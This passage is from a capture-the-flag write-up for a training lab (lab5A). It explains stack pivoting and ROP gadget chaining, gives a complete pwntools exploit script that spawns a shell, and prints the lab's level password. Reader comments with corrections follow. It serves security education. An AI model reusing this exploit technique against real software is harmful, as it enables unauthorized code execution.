are stored. Overwriting these values will mess up the program or our values just get overwritten. In order to tackle this problem we can use a technique called Stack Pivoting. When we are able to execute only one gadget but control another area on the stack (the actual memory reserved for data
), we should look for a gadget which manipulates esp
so that it points to the memory we control.
The following picture illustrates how our first gadget should redirect esp
to the memory region we can write to without messing anything up:
How much bytes must be added to esp
?
–> The address of the first gadget will be placed at 0xbffff53c
.
–> data
is located at 0xbffff568
.
–> We cannot write to the first entry of data
since 0 % 3 == 0
.
Thus we need to redirect the esp
from 0xbffff53c + 4
(since the address of the first gadget is popped of the stack) to 0xbffff568 + 4
(since we want to store the next gadget in data[1]
):
lab5A@warzone:/levels/lab05$ python -c 'print((0xbffff568+4) - (0xbffff53c+4))'
44
This means that we need to look for a gadget which will add 44 = 0x2c
to esp
:
[0x08048d2a]> "/R/ add esp,0x2c;ret"
[0x08048d2a]>
Unfortunately no hit. But as always there are plenty of ways to do things and since the binary was linked statically there are thousands of gadgets:
[0x08048d2a]> "/R/ add esp,*;pop*;ret"
Do you want to print 1973 lines? (y/N)
...
0x08079869 83c420 add esp, 0x20
0x0807986c 5b pop ebx
0x0807986d 5e pop esi
0x0807986e 5f pop edi
0x0807986f c3 ret
...
This gadget adds 0x20 = 32
to esp
. So there are still 12 bytes missing. Luckily there are three pop
instruction, which will each increment esp
by 4
. Thus esp
gets incremented by 32 + 4 + 4 + 4 = 44 (0x2C)!
(2) 8 byte chunks
Because of the restriction index % 3 != 0
we can only write two adjacent 4-byte values, followed by 4 reserved bytes:
This means that we must prevent our ROP-chain from running into a reserved 4-byte chunk:
This can be done if we find gadgets which also manipulate the stack. If we want to store a value for example into ebx
, we can do this by using a gadget which pops to eax
followed by another pop
and a ret
instruction. The second pop will take the reserved value from the stack. We cannot use this value by this way, the ret
will take an address we control. Yet again there are plenty of ways to do things.
The picture shows two examples of how to avoid running into the reserved memory:
I ended up with the following gadgets:
[0x08048d2a]> "/R/ pop*;pop*;ret"
...
0x080bf697 e814aaf9ff call 0x805a0b0
0x080bf69c 83c414 add esp, 0x14
0x080bf69f 5b pop ebx
0x080bf6a0 5e pop esi
0x080bf6a1 c3 ret
...
[0x08048d2a]> "/R/ pop edi;ret"
...
0x08096f85 5f pop edi
0x08096f86 c3 ret
...
[0x08048d2a]> "/R/ mov ecx*;ret"
...
0x0805befc b9ffffffff mov ecx, 0xffffffff
0x0805bf01 0f42c1 cmovb eax, ecx
0x0805bf04 c3 ret
...
[0x08048d2a]> "/R/ inc ecx;ret"
...
0x080e9e40 41 inc ecx
0x080e9e41 c3 ret
...
[0x08048d2a]> "/R/ pop edx;pop*;ret"
...
0x080695a5 5a pop edx
0x080695a6 31c0 xor eax, eax
0x080695a8 5f pop edi
0x080695a9 c3 ret
...
[0x08048d2a]> "/R/ ret"
...
0x08096f86 c3 ret
...
[0x08048d2a]> "/R/ add eax, 0xb"
...
0x08096f82 83c00b add eax, 0xb
0x08096f85 5f pop edi
0x08096f86 c3 ret
...
[0x08048d2a]> "/R/ pop*;pop*;ret"
...
0x080bf69f 5b pop ebx
0x080bf6a0 5e pop esi
0x080bf6a1 c3 ret
...
[0x08048d2a]> "/R/ int 0x80"
...
0x080d92c3 cd80 int 0x80
...
As already said there are thousands of ways to do things. I did not find a gadget which zeros out ecx
so I used two gadgets, which will do the same:
mov ecx, 0xffffffff
inc ecx
After our ROP-chain is built, the last thing to do is to store the string "/bin/sh"
somewhere in the buffer. I decided to use index 31 and 32.
Summing it all up we can construct the final python-script again using pwntools
:
lab5A@warzone:/levels/lab05$ cat /tmp/exploit_lab5A.py
from pwn import *
import sys
# gadgets
_add_esp_3xpop = 0x08079869
_pop_edi = 0x08096f85
_ecx_ffffffffh = 0x0805befc
_inc_ecx = 0x080e9e40
_pop_edx_xor_eax_eax_pop_edi = 0x080695a5
_ret = 0x08096f86
_add_eax_bh_pop_edi = 0x08096f82
_pop_ebx_pop_esi = 0x080bf69f
_int_80h = 0x080d92c3
addr_binsh = 0xbffff5e4
addr_binsh -= int(sys.argv[1], 16)
def store(p, idx, value, skipLastRecv = False):
p.sendline("store")
p.recv(100)
p.sendline(str(value))
p.recv(100)
p.sendline(str(idx))
if (not skipLastRecv): p.recv(100)
def quit_prog(p):
p.sendline("quit")
p = process("./lab5A")
p.recv(500)
store(p, 31, 0x6e69622f) # store /bin/sh
store(p, 32, 0x0068732f) # at 0xbffff5e4 (gdb)
idx_ret_addr = 4294967285 # -11
idx = 1
store(p, idx, _ecx_ffffffffh) # overwrite return address
store(p, idx+1, _pop_edi)
idx += 3
store(p, idx, _inc_ecx)
store(p, idx+1, _pop_edi)
idx += 3
store(p, idx, _pop_edx_xor_eax_eax_pop_edi)
store(p, idx+1, 0x0)
idx += 3
store(p, idx, _ret)
store(p, idx+1, _add_eax_bh_pop_edi)
idx += 3
store(p, idx, _pop_ebx_pop_esi)
store(p, idx+1, addr_binsh)
idx += 3
store(p, idx, _int_80h)
store(p, idx_ret_addr, _add_esp_3xpop, True)
p.interactive()
As usual I added an offset which can be passed as an argument to the script since the stack addresses vary a little bit.
After trying different offsets, 0x50
finally worked:
lab5A@warzone:/levels/lab05$ python /tmp/exploit_lab5A.py 0x50
[+] Starting program './lab5A': Done
[*] Switching to interactive mode
$ whoami
lab5end
$ cat /home/lab5end/.pass
byp4ss1ng_d3p_1s_c00l_am1rite
Done! 🙂 The final password for lab05 is byp4ss1ng_d3p_1s_c00l_am1rite
.
Hey, excellent explanations, as always.
I just noticed one correction that needs to be done –
lab5A –
“This gadget adds 0x20 = 32 to esp. So there are still 12 bytes missing. Luckily there are three pop instruction, which will each increment esp by 4. Thus esp gets incremented by 20 + 4 + 4 + 4 = 32!”
There is little confusion between the numbers in hexadecimal and decimal. It should be –
“This gadget adds 0x20 = 32 to esp. So there are still 12 bytes missing. Luckily there are three pop instruction, which will each increment esp by 4. Thus esp gets incremented by ***32***+ 4 + 4 + 4 = ***44 = 0x2C!***”
Thanks again for your great effort
The Chak, absolutely right. Thank you! I fixed it 🙂
Hey scryh, nice wp. But I’m a bit confused.
In lab5A:
“How much bytes must be added to esp?
–> The address of the first gadget will be placed at 0xbffff53c.
–> data is located at 0xbffff568.
–> We cannot write to the first entry of data since 0 % 3 == 0.
Thus we need to redirect the esp from 0xbffff53c – 4 (since the address of the first gadget is popped of the stack) to 0xbffff568 + 4 (since we want to store the next gadget in data[1])”
so when store_number() returns, ret is called and we overwrite store_ret_addr (which esp points to) to gadget1 right? Here “ret” equals to “mov eip,[esp]; add esp,0x4” (As I remember, stack grows from high to low). So why should we redirect esp from 0xbffff53c – 4 rather than 0xbffff53c + 4 ?
Hey smile,
you are totally right. The value of ESP after popping gadget1 is 0xbffff53c + 4 = 0xbffff540. The calculation worked out here, because I subtracted both 0xbffff53c and 4 from the target address (0xbffff568+4). Though a more appropriate calculation would be this: (0xbffff568+4) – (0xbffff53c+4). I adjusted the text accordingly. Thanks for pointing that out 🙂